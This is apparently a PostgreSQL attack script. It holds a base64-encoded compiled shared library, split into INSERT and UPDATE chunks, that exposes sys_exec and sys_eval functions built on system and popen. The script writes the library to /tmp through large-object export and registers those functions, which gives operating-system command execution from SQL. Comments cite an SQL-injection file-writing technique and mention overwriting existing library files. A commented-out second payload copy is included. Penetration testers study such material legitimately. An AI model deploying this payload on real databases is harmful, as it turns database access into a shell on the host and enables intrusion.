INSERT INTO udftest(data) VALUES ('f0VMRgEBAQAAAAAAAAAAAAMAAwABAAAAYAYAADQAAAB8EQAAAAAAADQAIAAFACgAGQAYAAEAAAAAAAAAAAAAAAAAAAD4CQAA+AkAAAUAAAAAEAAAAQAAAAQPAAAEHwAABB8AAAgBAAAQAQAABgAAAAAQAAACAAAAGA8AABgfAAAYHwAA0AAAANAAAAAGAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAUuV0ZAQPAAAEHwAABB8AAPwAAAD8AAAABAAAAAEAAAARAAAAGgAAAAAAAAANAAAAAAAAAAQAAAAAAAAAAgAAAAcAAAAAAAAAFQAAABcAAAAOAAAADwAAAAwAAAATAAAACAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAwAAAAUAAAAAAAAAEgAAABgAAAAAAAAACQAAABQAAAALAAAAFgAAAAAAAAAAAAAAAAAAABkAAAAAAAAACgAAAAAAAAAQAAAAAAAAABEAAAADAAAAEAAAAAIAAAAGAAAAiACgAQTNRFkQAAAAFgAAABgAAAAuZ1QeqGi+EqpfvhK645J8QkXV7DNeVB7YcVgcuY3xDurT7w7HDabUAAAAAAAAAAAAAAAAAAAAAJAAAAAAAAAAAAAAABIAAADLAAAAAAAAAAAAAAAQAAAAAQAAAAAAAAAAAAAAIAAAACsAAAAAAAAAAAAAACAAAACWAAAAAAAAAAAAAAASAAAAxAAAAAAAAAAAAAAAEgAAAJ4AAAAAAAAAAAAAABIAAACmAAAAAAAAAAAAAAASAAAAzAAAAAAAAAAAAAAAEgAAAIkAAAAAAAAAAAAAABIAAACCAAAAAAAAAAAAAAASAAAAswAAAAAAAAAAAAAAEgAAABwAAAAAAAAAA');
UPDATE udftest SET data=data||'AAAACIAAACsAAAAAAAAAAAAAAASAAAAcQAAAAAAAAAAAAAAEAAAAE0AAAAmBwAACgAAABIACwBWAAAAAAkAAHwAAAASAAsAaAAAADoHAADGAQAAEgALAO4AAAAUIAAAAAAAABAA8f/bAAAADCAAAAAAAAAQAPH/XwAAADAHAAAKAAAAEgALAOIAAAAMIAAAAAAAABAA8f8QAAAA+AUAAAAAAAASAAkAFgAAALgJAAAAAAAAEgAMAD8AAAAcBwAACgAAABIACwAAX19nbW9uX3N0YXJ0X18AX2luaXQAX2ZpbmkAX19jeGFfZmluYWxpemUAX0p2X1JlZ2lzdGVyQ2xhc3NlcwBQZ19tYWdpY19mdW5jAHBnX2ZpbmZvX3N5c19leGVjAHBnX2ZpbmZvX3N5c19ldmFsAHBnX2RldG9hc3RfZGF0dW0AbWFsbG9jAG1lbWNweQBwb3BlbgByZWFsbG9jAHN0cm5jcHkAZmdldHMAcGNsb3NlAF9fc3RhY2tfY2hrX2ZhaWwAc3lzdGVtAHBmcmVlAGxpYmMuc28uNgBfZWRhdGEAX19ic3Nfc3RhcnQAX2VuZABHTElCQ18yLjEuMwBHTElCQ18yLjQAR0xJQkNfMi4wAEdMSUJDXzIuMQAAAAACAAAAAAAAAAMAAwADAAMAAwADAAMABAAFAAIAAAABAAEAAQABAAEAAQABAAEAAQABAAAAAQAEANEAAAAQAAAAAAAAAHMfaQkAAAUA8wAAABAAAAAUaWkNAAAEAP8AAAAQAAAAEGlpDQAAAwAJAQAAEAAAABFpaQ0AAAIAEwEAAAAAAAAgBwAACAAAACoHAAAIAAAANAcAAAgAAACjBwAACAAAAAggAAAIAAAAWwcAAAIPAAAZCQAAAg8AAHAHAAACCwAAlQ';
UPDATE udftest SET data=data||'cAAAILAACNCAAAAgsAAC4JAAACCwAAhQcAAAIKAADaCAAAAgoAAEMJAAACCgAAqwcAAAIBAADwBwAAAgUAABgIAAACBwAAPggAAAIIAABUCAAAAg4AAPEIAAACDAAATwkAAAIGAABZCQAAAgkAAGkJAAACAgAA6B8AAAYDAADsHwAABgQAAPAfAAAGDQAAACAAAAcDAAAEIAAABw0AAFWJ5VOD7AToAAAAAFuBw/AZAACLk/T///+F0nQF6B4AAADowQAAAOhcAwAAWFvJw/+zBAAAAP+jCAAAAAAAAAD/owwAAABoAAAAAOng/////6MQAAAAaAgAAADp0P///wAAAAAAAAAAVYnlVlPorQAAAIHDihkAAIPsEIC7GAAAAAB1XYuD/P///4XAdA6LgxQAAACJBCTotP///4uLHAAAAI2DHP///42TGP///ynQwfgCjXD/OfFzII22AAAAAI1BAYmDHAAAAP+Ugxj///+LixwAAAA58XLmxoMYAAAAAYPEEFteXcNVieVT6C4AAACBwwsZAACD7ASLkyD///+F0nQVi5P4////hdJ0C42DIP///4kEJP/Sg8QEW13Dixwkw5BVieW44AkAAF3DVYnluNwJAABdw1WJ5bjYCQAAXcNVieVXVlOB7CwEAABloRQAAACJRfAxwItFCItAEIkEJOj8////iceLAMHoAo1w/IPoA4kEJOj8////icONRwSJdCQIiUQkBIkcJOj8////xgQzAMcEJAEAAADo/P///4mF2Pv//8dEJATUCQAAiRwk6Pz///+Jhdz7///HheD7//8AAAAA62GNvfD7//+4AAAAALn/////8q6JyPfQjXD/i53g+///AfOJXCQEi5XY+///iRQk6Pz///+Jhdj7//+JdCQIjYXw+///iUQ';
UPDATE udftest SET data=data||'kBIuF2Pv//wOF4Pv//4kEJOj8////iZ3g+///i5Xc+///iVQkCMdEJAQABAAAjYXw+///iQQk6Pz///+FwA+Fd////4uV3Pv//4kUJOj8////i4XY+///gDgAdAuLleD7///GRBD/AL7/////i73Y+///uwAAAACJ8YnY8q730YPBA4kMJOj8////iYXU+///i73Y+///ifGJ2PKu99GNDI0MAAAAi5XU+///iQqLvdj7//+J8fKu99GD6QGJ0IPABIlMJAiLldj7//+JVCQEiQQk6Pz///+LhdT7//+LVfBlMxUUAAAAdAXo/P///4HELAQAAFteX13DVYnlg+wYiV30iXX4iX38i1UIi0IQiQQk6Pz///+Jx4sAwegCjXD8g+gDiQQk6Pz///+Jw41HBIl0JAiJRCQEiRwk6Pz////GBDMAiRwk6Pz///+JxokcJOj8////i0UIO3gQdAiJPCTo/P///4nwi130i3X4i338iexdw5CQkJBVieVWU+iN/f//gcNqFgAAi4MQ////g/j/dBmNsxD///+NtCYAAAAAg+4E/9CLBoP4/3X0W15dw1WJ5VOD7AToAAAAAFuBwzAWAADokPz//1lbycNyAAAAAQAAAAEAAAAUAAAAIwMAAGQAAAAgAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////8AAAAA/////wAAAAAAAAAAAQAAANEAAAAMAAAA+AUAAA0AAAC4CQAABAAAANQAAAD1/v9viAEAAAUAAAB0AwAABgAAANQBAAAKAAAAHQEAAAsAAAAQAAAAAwAAAPQfAAACAAAAEAAAABQAAAARAAAAFwAAAOgFAAARAAAAGAUAABIAAADQAAAAEwAAAAgAAAAWAAAAAAAAAP7//2/IBAAA////bwEAAADw//9vkgQAAPr//28FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgfAAAAAAAAAAAAAD4GAABOBgAACCAAAA';
UPDATE udftest SET data=data||'BHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAEdDQzogKFVidW50dSA0LjMuMi0xdWJ1bnR1MTIpIDQuMy4yAABHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAC5zaHN0cnRhYgAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsLmR5bgAucmVsLnBsdAAuaW5pdAAudGV4dAAuZmluaQAucm9kYXRhAC5laF9mcmFtZQAuY3RvcnMALmR0b3JzAC5qY3IALmR5bmFtaWMALmdvdAAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAFAAAAAgAAANQAAADUAAAAtAAAAAMAAAAAAAAABAAAAAQAAAALAAAA9v//bwIAAACIAQAAiAEAAEwAAAADAAAAAAAAAAQAAAAEAAAAFQAAAAsAAAACAAAA1AEAANQBAACgAQAABAAAAAEAAAAEAAAAEAAAAB0AAAADAAAAAgAAAHQDAAB0AwAAHQEAAAAAAAAAAAAAAQAAAAAAAAAlAAAA////bwIAAACSBAAAkgQAADQAAAADAAAAAAAAAAIAAAACAAAAMgAAAP7//28CAAAAyAQAAMgEAABQAAAABAAAAAEAAAAEAAAAAAAAAEEAAAAJAAAAAgAAABgFAAAYBQAA0AAAAAMAAAAAAAAABAAAAAg';
UPDATE udftest SET data=data||'AAABKAAAACQAAAAIAAADoBQAA6AUAABAAAAADAAAACgAAAAQAAAAIAAAAUwAAAAEAAAAGAAAA+AUAAPgFAAAwAAAAAAAAAAAAAAAEAAAAAAAAAE4AAAABAAAABgAAACgGAAAoBgAAMAAAAAAAAAAAAAAABAAAAAQAAABZAAAAAQAAAAYAAABgBgAAYAYAAFgDAAAAAAAAAAAAABAAAAAAAAAAXwAAAAEAAAAGAAAAuAkAALgJAAAcAAAAAAAAAAAAAAAEAAAAAAAAAGUAAAABAAAAAgAAANQJAADUCQAAIAAAAAAAAAAAAAAABAAAAAAAAABtAAAAAQAAAAIAAAD0CQAA9AkAAAQAAAAAAAAAAAAAAAQAAAAAAAAAdwAAAAEAAAADAAAABB8AAAQPAAAIAAAAAAAAAAAAAAAEAAAAAAAAAH4AAAABAAAAAwAAAAwfAAAMDwAACAAAAAAAAAAAAAAABAAAAAAAAACFAAAAAQAAAAMAAAAUHwAAFA8AAAQAAAAAAAAAAAAAAAQAAAAAAAAAigAAAAYAAAADAAAAGB8AABgPAADQAAAABAAAAAAAAAAEAAAACAAAAJMAAAABAAAAAwAAAOgfAADoDwAADAAAAAAAAAAAAAAABAAAAAQAAACYAAAAAQAAAAMAAAD0HwAA9A8AABQAAAAAAAAAAAAAAAQAAAAEAAAAoQAAAAEAAAADAAAACCAAAAgQAAAEAAAAAAAAAAAAAAAEAAAAAAAAAKcAAAAIAAAAAwAAAAwgAAAMEAAACAAAAAAAAAAAAAAABAAAAAAAAACsAAAAAQAAAAAAAAAAAAAADBAAALkAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAMAAAAAAAAAAAAAAMUQAAC1AAAAAAAAAAAAAAABAAAAAAAAAA==';
-- SO compiled using PostgreSQL 8.2 C libraries
-- INSERT INTO udftest(data) VALUES ('f0VMRgEBAQAAAAAAAAAAAAMAAwABAAAAYAYAADQAAAB8EQAAAAAAADQAIAAFACgAGQAYAAEAAAAAAAAAAAAAAAAAAAD4CQAA+AkAAAUAAAAAEAAAAQAAAAQPAAAEHwAABB8AAAgBAAAQAQAABgAAAAAQAAACAAAAGA8AABgfAAAYHwAA0AAAANAAAAAGAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAUuV0ZAQPAAAEHwAABB8AAPwAAAD8AAAABAAAAAEAAAARAAAAGgAAAAAAAAANAAAAAAAAAAQAAAAAAAAAAgAAAAcAAAAAAAAAFQAAABcAAAAOAAAADwAAAAwAAAATAAAACAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAwAAAAUAAAAAAAAAEgAAABgAAAAAAAAACQAAABQAAAALAAAAFgAAAAAAAAAAAAAAAAAAABkAAAAAAAAACgAAAAAAAAAQAAAAAAAAABEAAAADAAAAEAAAAAIAAAAGAAAAiACgAQTNRFkQAAAAFgAAABgAAAAuZ1QeqGi+EqpfvhK645J8QkXV7DNeVB7YcVgcuY3xDurT7w7HDabUAAAAAAAAAAAAAAAAAAAAAJAAAAAAAAAAAAAAABIAAADLAAAAAAAAAAAAAAAQAAAAAQAAAAAAAAAAAAAAIAAAACsAAAAAAAAAAAAAACAAAACWAAAAAAAAAAAAAAASAAAAxAAAAAAAAAAAAAAAEgAAAJ4AAAAAAAAAAAAAABIAAACmAAAAAAAAAAAAAAASAAAAzAAAAAAAAAAAAAAAEgAAAIkAAAAAAAAAAAAAABIAAACCAAAAAAAAAAAAAAASAAAAswAAAAAAAAAAAAAAEgAAABwAAAAAAAAAA');
-- UPDATE udftest SET data=data||'AAAACIAAACsAAAAAAAAAAAAAAASAAAAcQAAAAAAAAAAAAAAEAAAAE0AAAAmBwAACgAAABIACwBWAAAA/ggAAH4AAAASAAsAaAAAADoHAADEAQAAEgALAO4AAAAUIAAAAAAAABAA8f/bAAAADCAAAAAAAAAQAPH/XwAAADAHAAAKAAAAEgALAOIAAAAMIAAAAAAAABAA8f8QAAAA+AUAAAAAAAASAAkAFgAAALgJAAAAAAAAEgAMAD8AAAAcBwAACgAAABIACwAAX19nbW9uX3N0YXJ0X18AX2luaXQAX2ZpbmkAX19jeGFfZmluYWxpemUAX0p2X1JlZ2lzdGVyQ2xhc3NlcwBQZ19tYWdpY19mdW5jAHBnX2ZpbmZvX3N5c19leGVjAHBnX2ZpbmZvX3N5c19ldmFsAHBnX2RldG9hc3RfZGF0dW0AbWFsbG9jAG1lbWNweQBwb3BlbgByZWFsbG9jAHN0cm5jcHkAZmdldHMAcGNsb3NlAF9fc3RhY2tfY2hrX2ZhaWwAc3lzdGVtAHBmcmVlAGxpYmMuc28uNgBfZWRhdGEAX19ic3Nfc3RhcnQAX2VuZABHTElCQ18yLjEuMwBHTElCQ18yLjQAR0xJQkNfMi4wAEdMSUJDXzIuMQAAAAACAAAAAAAAAAMAAwADAAMAAwADAAMABAAFAAIAAAABAAEAAQABAAEAAQABAAEAAQABAAAAAQAEANEAAAAQAAAAAAAAAHMfaQkAAAUA8wAAABAAAAAUaWkNAAAEAP8AAAAQAAAAEGlpDQAAAwAJAQAAEAAAABFpaQ0AAAIAEwEAAAAAAAAgBwAACAAAACoHAAAIAAAANAcAAAgAAAClBwAACAAAAAggAAAIAAAAWwcAAAIPAAAXCQAAAg8AAHIHAAACCwAAlw';
-- UPDATE udftest SET data=data||'cAAAILAACPCAAAAgsAAC4JAAACCwAAhwcAAAIKAADYCAAAAgoAAEMJAAACCgAArQcAAAIBAADyBwAAAgUAABoIAAACBwAAQAgAAAIIAABWCAAAAg4AAO8IAAACDAAATwkAAAIGAABZCQAAAgkAAGkJAAACAgAA6B8AAAYDAADsHwAABgQAAPAfAAAGDQAAACAAAAcDAAAEIAAABw0AAFWJ5VOD7AToAAAAAFuBw/AZAACLk/T///+F0nQF6B4AAADowQAAAOhcAwAAWFvJw/+zBAAAAP+jCAAAAAAAAAD/owwAAABoAAAAAOng/////6MQAAAAaAgAAADp0P///wAAAAAAAAAAVYnlVlPorQAAAIHDihkAAIPsEIC7GAAAAAB1XYuD/P///4XAdA6LgxQAAACJBCTotP///4uLHAAAAI2DHP///42TGP///ynQwfgCjXD/OfFzII22AAAAAI1BAYmDHAAAAP+Ugxj///+LixwAAAA58XLmxoMYAAAAAYPEEFteXcNVieVT6C4AAACBwwsZAACD7ASLkyD///+F0nQVi5P4////hdJ0C42DIP///4kEJP/Sg8QEW13Dixwkw5BVieW44AkAAF3DVYnluNwJAABdw1WJ5bjYCQAAXcNVieVXVlOB7CwEAABloRQAAACJRfAxwItFCItAEIkEJOj8////iceLACX///8/jXD8g+gDiQQk6Pz///+Jw41HBIl0JAiJRCQEiRwk6Pz////GBDMAxwQkAQAAAOj8////iYXY+///x0QkBNQJAACJHCTo/P///4mF3Pv//8eF4Pv//wAAAADrYY298Pv//7gAAAAAuf/////yronI99CNcP+LneD7//8B84lcJASLldj7//+JFCTo/P///4mF2Pv//4l0JAiNhfD7//+';
-- UPDATE udftest SET data=data||'JRCQEi4XY+///A4Xg+///iQQk6Pz///+JneD7//+Lldz7//+JVCQIx0QkBAAEAACNhfD7//+JBCTo/P///4XAD4V3////i5Xc+///iRQk6Pz///+Lhdj7//+AOAB0C4uV4Pv//8ZEEP8Avv////+Lvdj7//+7AAAAAInxidjyrvfRg8EDiQwk6Pz///+JhdT7//+Lvdj7//+J8YnY8q730YPBA4uV1Pv//4kKi73Y+///ifHyrvfRg+kBidCDwASJTCQIi5XY+///iVQkBIkEJOj8////i4XU+///i1XwZTMVFAAAAHQF6Pz///+BxCwEAABbXl9dw1WJ5YPsGIld9Il1+Il9/ItVCItCEIkEJOj8////iceLACX///8/jXD8g+gDiQQk6Pz///+Jw41HBIl0JAiJRCQEiRwk6Pz////GBDMAiRwk6Pz///+JxokcJOj8////i0UIO3gQdAiJPCTo/P///4nwi130i3X4i338iexdw5CQkJBVieVWU+iN/f//gcNqFgAAi4MQ////g/j/dBmNsxD///+NtCYAAAAAg+4E/9CLBoP4/3X0W15dw1WJ5VOD7AToAAAAAFuBwzAWAADokPz//1lbycNyAAAAAQAAAAEAAAAUAAAAIgMAAGQAAAAgAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
-- UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
-- UPDATE udftest SET data=data||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////8AAAAA/////wAAAAAAAAAAAQAAANEAAAAMAAAA+AUAAA0AAAC4CQAABAAAANQAAAD1/v9viAEAAAUAAAB0AwAABgAAANQBAAAKAAAAHQEAAAsAAAAQAAAAAwAAAPQfAAACAAAAEAAAABQAAAARAAAAFwAAAOgFAAARAAAAGAUAABIAAADQAAAAEwAAAAgAAAAWAAAAAAAAAP7//2/IBAAA////bwEAAADw//9vkgQAAPr//28FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgfAAAAAAAAAAAAAD4GAABOBgAACCAAAA';
-- UPDATE udftest SET data=data||'BHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAEdDQzogKFVidW50dSA0LjMuMi0xdWJ1bnR1MTIpIDQuMy4yAABHQ0M6IChVYnVudHUgNC4zLjItMXVidW50dTEyKSA0LjMuMgAAR0NDOiAoVWJ1bnR1IDQuMy4yLTF1YnVudHUxMikgNC4zLjIAAC5zaHN0cnRhYgAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsLmR5bgAucmVsLnBsdAAuaW5pdAAudGV4dAAuZmluaQAucm9kYXRhAC5laF9mcmFtZQAuY3RvcnMALmR0b3JzAC5qY3IALmR5bmFtaWMALmdvdAAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAFAAAAAgAAANQAAADUAAAAtAAAAAMAAAAAAAAABAAAAAQAAAALAAAA9v//bwIAAACIAQAAiAEAAEwAAAADAAAAAAAAAAQAAAAEAAAAFQAAAAsAAAACAAAA1AEAANQBAACgAQAABAAAAAEAAAAEAAAAEAAAAB0AAAADAAAAAgAAAHQDAAB0AwAAHQEAAAAAAAAAAAAAAQAAAAAAAAAlAAAA////bwIAAACSBAAAkgQAADQAAAADAAAAAAAAAAIAAAACAAAAMgAAAP7//28CAAAAyAQAAMgEAABQAAAABAAAAAEAAAAEAAAAAAAAAEEAAAAJAAAAAgAAABgFAAAYBQAA0AAAAAMAAAAAAAAABAAAAAg';
-- UPDATE udftest SET data=data||'AAABKAAAACQAAAAIAAADoBQAA6AUAABAAAAADAAAACgAAAAQAAAAIAAAAUwAAAAEAAAAGAAAA+AUAAPgFAAAwAAAAAAAAAAAAAAAEAAAAAAAAAE4AAAABAAAABgAAACgGAAAoBgAAMAAAAAAAAAAAAAAABAAAAAQAAABZAAAAAQAAAAYAAABgBgAAYAYAAFgDAAAAAAAAAAAAABAAAAAAAAAAXwAAAAEAAAAGAAAAuAkAALgJAAAcAAAAAAAAAAAAAAAEAAAAAAAAAGUAAAABAAAAAgAAANQJAADUCQAAIAAAAAAAAAAAAAAABAAAAAAAAABtAAAAAQAAAAIAAAD0CQAA9AkAAAQAAAAAAAAAAAAAAAQAAAAAAAAAdwAAAAEAAAADAAAABB8AAAQPAAAIAAAAAAAAAAAAAAAEAAAAAAAAAH4AAAABAAAAAwAAAAwfAAAMDwAACAAAAAAAAAAAAAAABAAAAAAAAACFAAAAAQAAAAMAAAAUHwAAFA8AAAQAAAAAAAAAAAAAAAQAAAAAAAAAigAAAAYAAAADAAAAGB8AABgPAADQAAAABAAAAAAAAAAEAAAACAAAAJMAAAABAAAAAwAAAOgfAADoDwAADAAAAAAAAAAAAAAABAAAAAQAAACYAAAAAQAAAAMAAAD0HwAA9A8AABQAAAAAAAAAAAAAAAQAAAAEAAAAoQAAAAEAAAADAAAACCAAAAgQAAAEAAAAAAAAAAAAAAAEAAAAAAAAAKcAAAAIAAAAAwAAAAwgAAAMEAAACAAAAAAAAAAAAAAABAAAAAAAAACsAAAAAQAAAAAAAAAAAAAADBAAALkAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAMAAAAAAAAAAAAAAMUQAAC1AAAAAAAAAAAAAAABAAAAAAAAAA==';
-- Create a new OID for a large object, it implicitly adds an entry in the
-- PostgreSQL large objects system table
--
-- References:
-- http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
-- http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
SELECT lo_unlink(35817);
SELECT lo_create(35817);
-- Update the PostgreSQL system large objects table assigning to the just
-- created OID the binary (base64 decoded) UDF as data
--
-- Refereces:
-- http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
UPDATE pg_largeobject SET data=(DECODE((SELECT data FROM udftest), 'base64')) WHERE loid=35817;
-- Export the binary UDF OID to a file on the file system
--
-- Any folder where postgres user has read/write/execute access is valid
SELECT lo_export(35817, '/tmp/lib_postgresqludf_sys.so'); -- -rw-r--r-- 1 postgres postgres
--
-- Notes:
-- If the library file already exists and the postgres user has write
-- access over it, it can overwrite the file
-- The following enumerates the PostgreSQL data directory
-- SELECT CURRENT_SETTING('data_directory')
-- Reference:
-- http://www.postgresql.org/docs/8.3/interactive/functions-admin.html
-- The following will save into /var/lib/postgresql/M.m/main/lib_postgresqludf_sys.so
-- SELECT lo_export(35817, 'lib_postgresqludf_sys.so'); -- -rw-r--r-- 1 postgres postgres
-- The following would save into / (Permission denied)
-- SELECT lo_export(35817, '/lib_postgresqludf_sys.so');
-- Create two functions from the binary UDF file
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
